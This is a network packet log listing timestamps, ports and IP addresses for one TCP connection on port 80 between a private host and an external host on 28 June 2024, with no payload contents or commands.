Jun 28, 2024 13:35:59.239224911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.239236116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.239298105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.239298105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.239923954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.239972115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.239986897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.240003109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.240031004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.240051031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.240052938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.240101099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.240484953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.240510941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.240531921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.240562916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.312752962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.312767029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.312783003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.312793970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.312804937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.312815905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.312822104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.312868118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.320400953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320437908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320449114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320477009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.320540905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.320555925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320604086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.320653915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320692062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320702076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320703030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.320730925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.320760012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.320854902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320867062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320877075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320892096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.320909977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.320943117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.321619034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.321661949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.321671963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.321712017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.321712017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.321712971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.328227997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328278065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328286886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328298092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.328331947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.328331947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.328500986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328552008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.328582048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328593016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328628063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.328716040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328727007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328737974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328748941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.328768969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.328799963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.329399109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.329454899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.329468012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.329500914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.329541922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.329552889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.329592943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.329663992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.329674959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.329684973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.329694986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.329731941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.329731941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.329768896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.330370903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.330382109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.330391884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.330401897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.330411911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.330425024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.330425024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.330451965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.330497980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.330542088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.330581903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.330627918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.331382990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.331434965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.331437111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.331448078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.331480980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.331602097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.331613064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.331654072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.394964933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.394979000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.394989967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.395040989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.395081043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.395138979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.395184040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.402582884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.402661085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.402702093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.402734995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.402745008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.402746916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.402756929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.402782917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.402801037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.402801991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.402812958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.402848959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.410691023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.410715103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.410725117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.410763025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.410794973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.410859108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.410868883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.410878897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.410902977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.410933971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.411024094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411073923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.411083937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411093950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411134005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.411134005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.411242008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411252975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411262035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411273003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411289930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.411320925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.411442995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411454916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411488056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.411753893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411797047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411802053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.411808968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.411832094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.411861897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.418544054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418571949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418581963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418591976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418602943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418603897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.418603897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.418637037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.418657064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.418658972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418670893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418694973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.418723106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.418771029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418787956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418797970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.418814898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.418842077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.418842077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.419064045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419096947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419109106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419112921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.419142962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.419142962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.419275045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419286013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419296026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419306993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419323921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.419353008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.419482946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419498920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419527054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.419554949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.419929981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419975996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.419986963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.419997931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420026064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.420069933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.420105934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420116901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420152903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.420295954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420341969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.420353889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420363903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420399904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.420399904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.420511961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420522928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420532942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420543909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420562029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.420586109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.420734882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420746088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420756102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.420783997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.420816898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.421263933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421308041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421312094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.421319962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421364069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.421473026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421483994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421494007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421504974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421520948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.421555996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.421555996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.421703100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421714067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421725035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.421750069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.421778917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.422229052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422271013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422281981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422281981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.422308922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.422338963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.422442913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422454119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422465086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422475100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422492027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.422521114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.422660112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422669888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422712088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.422764063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.422808886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.423176050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.423222065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.423243046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.423254013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.423280954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.423310041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.423345089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.423356056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.423388004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.423434019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.485003948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.485019922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.485038042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.485049009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.485059977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.485070944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.485081911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.485095978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.485133886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.485160112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.485193968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.492845058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.492899895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.492906094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.492918015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.492944956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.492963076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.493072987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.493084908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.493093967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.493104935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.493115902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.493129969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.493158102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.493221998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.493264914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.493335962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.493346930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.493356943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.493380070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.493405104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.500885010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.500948906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.500971079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.500983000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501003027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501015902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501030922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501063108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501140118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501152039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501162052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501173019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501185894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501213074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501363039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501388073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501398087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501404047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501408100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501420021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501427889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501430035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501452923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501466036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501663923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501707077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501744986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501755953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501779079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501791954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501878977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501889944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501899958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.501921892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.501939058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.502058029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.502068996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.502079010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.502100945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.502115965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.502291918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.502307892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.502321005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.502327919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.502331972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.502337933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.502343893 CEST	80	49705	85.28.47.4	192.168.2.5
